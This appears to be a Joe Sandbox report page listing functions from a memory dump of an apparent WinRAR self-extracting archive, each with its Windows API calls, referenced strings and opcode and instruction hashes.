Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: fea55c413cd24777aedb207589b964b17e15ad33af9631a975196e9dd2423cd1
Instruction ID: 4bc559b85b0638e34d43abb61e5c93fb9757eb1cfaa4686bdf8aa7941002ba7c
Opcode Fuzzy Hash: fea55c413cd24777aedb207589b964b17e15ad33af9631a975196e9dd2423cd1
Instruction Fuzzy Hash: 78314730A447416FE730AF20CC45BD6BBACBF05324F101759F9ADA21D0C7B0A88ACB95

Function 00E905A8 Relevance: 7.5, APIs: 5, Instructions: 38windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00E905B9
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00E905CA
IsDialogMessageW.USER32(00020482,?), ref: 00E905DE
TranslateMessage.USER32(?), ref: 00E905EC
DispatchMessageW.USER32(?), ref: 00E905F6

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 0bfbd303308703ea5957c5db5940de29c2cd31fcf69a6ae625bbdd13e3a71172
Instruction ID: 4fb7ae4b6b4e9e8592bf4339bc735c6922fc915a59c1c683534d50703cb187c2
Opcode Fuzzy Hash: 0bfbd303308703ea5957c5db5940de29c2cd31fcf69a6ae625bbdd13e3a71172
Instruction Fuzzy Hash: 0CF0D0B190112DAF8F20ABA2EC8CEDB7FBCEF452547804415B515F2111E768D509CBB0

Function 00E858AA Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00E8582B: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00E8584A
Part of subcall function 00E8582B: GetProcAddress.KERNEL32(00EBCFE8,CryptUnprotectMemory), ref: 00E8585A

GetCurrentProcessId.KERNEL32(?,?,?,00E858A4), ref: 00E85938

Strings

CryptUnprotectMemory failed, xrefs: 00E85930
CryptProtectMemory failed, xrefs: 00E858EF
D+, xrefs: 00E858F4

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed$D+
API String ID: 2190909847-4049555249
Opcode ID: 8626e23dcabca0ce273ae5213ab0705f93363d1e8dce1b799e25c3da5d5c4260
Instruction ID: 1500956edbfc24e263ab59d5b0e71cf110478d85706998b97440ef5c251b106c
Opcode Fuzzy Hash: 8626e23dcabca0ce273ae5213ab0705f93363d1e8dce1b799e25c3da5d5c4260
Instruction Fuzzy Hash: 0C113632A01A21EFDB057F21AC4197E3BA9EF89734B106056FC5D7B251DE34AD068B94

Function 00E82380 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000001), ref: 00E823C7
GetLastError.KERNEL32 ref: 00E823D4

Strings

D+, xrefs: 00E8239A
D+, xrefs: 00E823E4

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: ErrorFileLastPointer
String ID: D+$D+
API String ID: 2976181284-589233338
Opcode ID: af78dbb2ef0d6e774bb89b4c2d2c76bd1bc50215638efa493e705315bc612fda
Instruction ID: e94ac75a419eb6add2940900e1b238f42767e15d00f2c92bfdb59b212fa0827d
Opcode Fuzzy Hash: af78dbb2ef0d6e774bb89b4c2d2c76bd1bc50215638efa493e705315bc612fda
Instruction Fuzzy Hash: 2711C631600602AFD724A624CC85BA6B3E8EB45374F50562DE25EF25D0D7B4ED4A8760

Function 00E8C370 Relevance: 6.3, APIs: 4, Instructions: 307COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 00E8C43A
_strncpy.LIBCMT ref: 00E8C522
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E8C560
_strncpy.LIBCMT ref: 00E8C639

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: _strncpy$Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 2527496121-0
Opcode ID: 054195ddb092ea550138ab2f295da9af057e8697d9e74bf526dbc98edc3b7983
Instruction ID: eda3524891f79a2564beaece872b7b67e86bf5e474484c1642bb471dbcf7aa33
Opcode Fuzzy Hash: 054195ddb092ea550138ab2f295da9af057e8697d9e74bf526dbc98edc3b7983
Instruction Fuzzy Hash: 97B170B1508300DFC714EF6AEC91E2677E5FB88718F24553EE44DB3261E732A80A9B91

Function 00E81CD5 Relevance: 6.1, APIs: 4, Instructions: 56fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00E81CE5
ReadFile.KERNEL32(?,?,?,?,00000000), ref: 00E81CFD
GetLastError.KERNEL32 ref: 00E81D2F
GetLastError.KERNEL32 ref: 00E81D4E

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: cd5470191b76ece5351cb57922d771aa330f7f96c3c4353b9fcd8b1a9b65410e
Instruction ID: 1147349e7f4fe3725aa3fe95d75728fadf42758c8ba7dc641683bab533a8f2c7
Opcode Fuzzy Hash: cd5470191b76ece5351cb57922d771aa330f7f96c3c4353b9fcd8b1a9b65410e
Instruction Fuzzy Hash: B511A034900604EFDF307B61C804BAA77BDFB05366F1056A6E42EA51D0D7709D4A9B91

Function 00E9F6B4 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00E98987,00000000,00000000,?,00E9F65B,00E98987,00000000,00000000,00000000,?,00E9F858,00000006,FlsSetValue), ref: 00E9F6E6
GetLastError.KERNEL32(?,00E9F65B,00E98987,00000000,00000000,00000000,?,00E9F858,00000006,FlsSetValue,00EAC630,FlsSetValue,00000000,00000364,?,00E9E1D7), ref: 00E9F6F2
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00E9F65B,00E98987,00000000,00000000,00000000,?,00E9F858,00000006,FlsSetValue,00EAC630,FlsSetValue,00000000), ref: 00E9F700

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 2c6034d9c8199c977fdc7bb1fd02bb238f266b6c2aefea8f16bb910580923ebb
Instruction ID: d030c2a3510638b495e926f9e81331943907bcc05695b5f0d154e02f09dd3908
Opcode Fuzzy Hash: 2c6034d9c8199c977fdc7bb1fd02bb238f266b6c2aefea8f16bb910580923ebb
Instruction Fuzzy Hash: B30120327252369FDF214BB9AC84A967BA8FF197B57241631F906F7180DB20DC05C6E0

Function 00EA03A7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00E9E105: GetLastError.KERNEL32(?,?,00E98F0C,?,?,?,00E98987,00000050), ref: 00E9E109
Part of subcall function 00E9E105: _free.LIBCMT ref: 00E9E13C
Part of subcall function 00E9E105: SetLastError.KERNEL32(00000000), ref: 00E9E17D
Part of subcall function 00E9E105: _abort.LIBCMT ref: 00E9E183

Part of subcall function 00EA04CE: _abort.LIBCMT ref: 00EA0500
Part of subcall function 00EA04CE: _free.LIBCMT ref: 00EA0534

Part of subcall function 00EA013B: GetOEMCP.KERNEL32(00000000,?,?,00EA03C4,?), ref: 00EA0166

_free.LIBCMT ref: 00EA041F
_free.LIBCMT ref: 00EA0455

Strings

@;, xrefs: 00EA0449

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast_abort
String ID: @;
API String ID: 2991157371-3452451375
Opcode ID: d86bcd12dccc635443a84f0dc6853b73251399b248d15c45318fc0927be3aa18
Instruction ID: 126968348bc1dbf583d2abf3d2997b953bac28a585b72c10dbc9f84aca88089b
Opcode Fuzzy Hash: d86bcd12dccc635443a84f0dc6853b73251399b248d15c45318fc0927be3aa18
Instruction Fuzzy Hash: 4731D631904208AFDB10DFA9D881B9DB7E4FF4E324F255099E614BF291EB71AE40CB50

Function 00E8FF8D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 00E83887: _wcslen.LIBCMT ref: 00E8388F

Part of subcall function 00E87D46: _wcslen.LIBCMT ref: 00E87D4E
Part of subcall function 00E87D46: _wcslen.LIBCMT ref: 00E87D5F
Part of subcall function 00E87D46: _wcslen.LIBCMT ref: 00E87D6F
Part of subcall function 00E87D46: _wcslen.LIBCMT ref: 00E87D7D
Part of subcall function 00E87D46: CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,00E82E75,?,?,00000000,?,?,?), ref: 00E87D98

Part of subcall function 00E8FE24: SetCurrentDirectoryW.KERNEL32(?,00E8FFD0,C:\Users\user\AppData\Local\Temp\RarSFX0,00000000,00ECFA3A,00000006), ref: 00E8FE28

_wcslen.LIBCMT ref: 00E8FFE9
SHFileOperationW.SHELL32(?,?,?,?,?,00ECFA3A,00000006), ref: 00E90022

Strings

C:\Users\user\AppData\Local\Temp\RarSFX0, xrefs: 00E8FFC6

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: _wcslen$CompareCurrentDirectoryFileOperationString
String ID: C:\Users\user\AppData\Local\Temp\RarSFX0
API String ID: 1016385243-711939567
Opcode ID: 8e6ac64f94f3f076fefdc3ba36c86fb554879b7cc1fdf251b7b474ac8998cdab
Instruction ID: ed6ac1682f51859d8c604499b9a3fdbcae7426e8917322d58d3c00177d4c287f
Opcode Fuzzy Hash: 8e6ac64f94f3f076fefdc3ba36c86fb554879b7cc1fdf251b7b474ac8998cdab
Instruction Fuzzy Hash: 94015E71D0021869DF25BBA49D4AEDE73FCAF08704F001466F649F2291EAB4D648CBA4

Function 00E84CA8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00E8165F,?,?,00E8165F), ref: 00E84CD8
LoadStringW.USER32(00E8165F,?,?), ref: 00E84CEF

Strings

X+, xrefs: 00E84CB6

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: LoadString
String ID: X+
API String ID: 2948472770-3443634675
Opcode ID: d4e3550ab6c91666b128d8b4ac5225f26587b7f91ecf576f2d0a9ddfdc22402c
Instruction ID: 5f5c7355349a84811c483f3e07ec07e1acfabfa033f9deb3fa1b793dfc43cb94
Opcode Fuzzy Hash: d4e3550ab6c91666b128d8b4ac5225f26587b7f91ecf576f2d0a9ddfdc22402c
Instruction Fuzzy Hash: A8F0FE7211115ABFDF111F52DC08DAB7F6AFF193907004425FE0DA6131D6329821EB90

Function 00E82710 Relevance: 4.6, APIs: 3, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00E8386B: _wcslen.LIBCMT ref: 00E83871

CreateDirectoryW.KERNEL32(?,00000000,?), ref: 00E82737
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?), ref: 00E8276A
GetLastError.KERNEL32(?,?), ref: 00E82787

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
API String ID: 2260680371-0
Opcode ID: bdc66cdfa979fb2f32df619e89475f1d3dc5f1be776becfaeb7affee08aa5a9f
Instruction ID: 3d7587345be0af5594bb68c1c1ec19b34cce81a18222d05c050bcf9ee6f277df
Opcode Fuzzy Hash: bdc66cdfa979fb2f32df619e89475f1d3dc5f1be776becfaeb7affee08aa5a9f
Instruction Fuzzy Hash: F60124316002106AEF217B764D89BFD339CAF0A788F08141AFB4EF60D0DB65DA848765

Function 00EA0213 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 00EA0238

Strings

, xrefs: 00EA027D

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 8d4fd437e9b29dcfa3305cba9787bfa11feeb2d52195f03fd81f92f65e56dc3a
Instruction ID: d9266879df498cca0d6ec3f2b750de8c5bdffba337db4a42346b8f8bef99c106
Opcode Fuzzy Hash: 8d4fd437e9b29dcfa3305cba9787bfa11feeb2d52195f03fd81f92f65e56dc3a
Instruction Fuzzy Hash: 87410B705043489FDF228E64CC84BFABBE9DB5A304F1414EDE59AAB142D235B949CF60

Function 00E9F8EC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,6AE85006,00000001,?,000000FF), ref: 00E9F95D

Strings

LCMapStringEx, xrefs: 00E9F8FD, 00E9F907

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 29b8088bd5bd70bf504460dbfba1febd1b831f380259520b8aae89b205b49840
Instruction ID: 779622655f399e758407487fcc252a7b82a663e84890a31833249090336cac1b
Opcode Fuzzy Hash: 29b8088bd5bd70bf504460dbfba1febd1b831f380259520b8aae89b205b49840
Instruction Fuzzy Hash: 0801E93250121DBBCF029FA1DC01EEE3F62EF4D764F115114FE0476161CA329931AB94

Function 00E9F88A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00E9EE8F), ref: 00E9F8D5

Strings

InitializeCriticalSectionEx, xrefs: 00E9F89B, 00E9F8A5

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 8b61a02f13750b522acf33019a3fbb97aa5bddeb63bd1f77f18fd5b6d707d97c
Instruction ID: 735478b1183920e5c7caa0b557f25ed30ebd34e1400979f3e8a2cd85b709c48c
Opcode Fuzzy Hash: 8b61a02f13750b522acf33019a3fbb97aa5bddeb63bd1f77f18fd5b6d707d97c
Instruction Fuzzy Hash: 3BF09A71642318BBCF199F61EC06DAE7BA1EB8DB20B105165F8047A260CB316A209B94

Function 00E9F72F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00E9F76E

Strings

FlsAlloc, xrefs: 00E9F740, 00E9F74A

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: 6d14f632facfcada22cd280cf5e9fcd8aaeade21c2bf6b0de8f09eb9dd55b816
Instruction ID: 1d3c28fb849d6c12d196789bfc231a04670737e097b3edbb125abb5caae8caa1
Opcode Fuzzy Hash: 6d14f632facfcada22cd280cf5e9fcd8aaeade21c2bf6b0de8f09eb9dd55b816
Instruction Fuzzy Hash: 51E0E531B42318BF8B05AFA1AD0696EBBD4DB8EB20B215169F805BB250DD607E0586D9

Function 00E931E4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E931BD

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

1, xrefs: 00E931B7, 00E931E4

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 1
API String ID: 697777088-1475023258
Opcode ID: 597c7ff31e6200c40201a35b6c78166c136c8abae55da439144cf1ccb4d493aa
Instruction ID: 07986d9069bff09c265b00c2a523dae1b9228dc41ac91b05b36ad457ec417117
Opcode Fuzzy Hash: 597c7ff31e6200c40201a35b6c78166c136c8abae55da439144cf1ccb4d493aa
Instruction Fuzzy Hash: D0B012C129A24A7D394462E69C07CF701FCC0C0B10370713BB400F5281D8402D481031

Function 00E931F8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E931BD

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

1, xrefs: 00E931B7

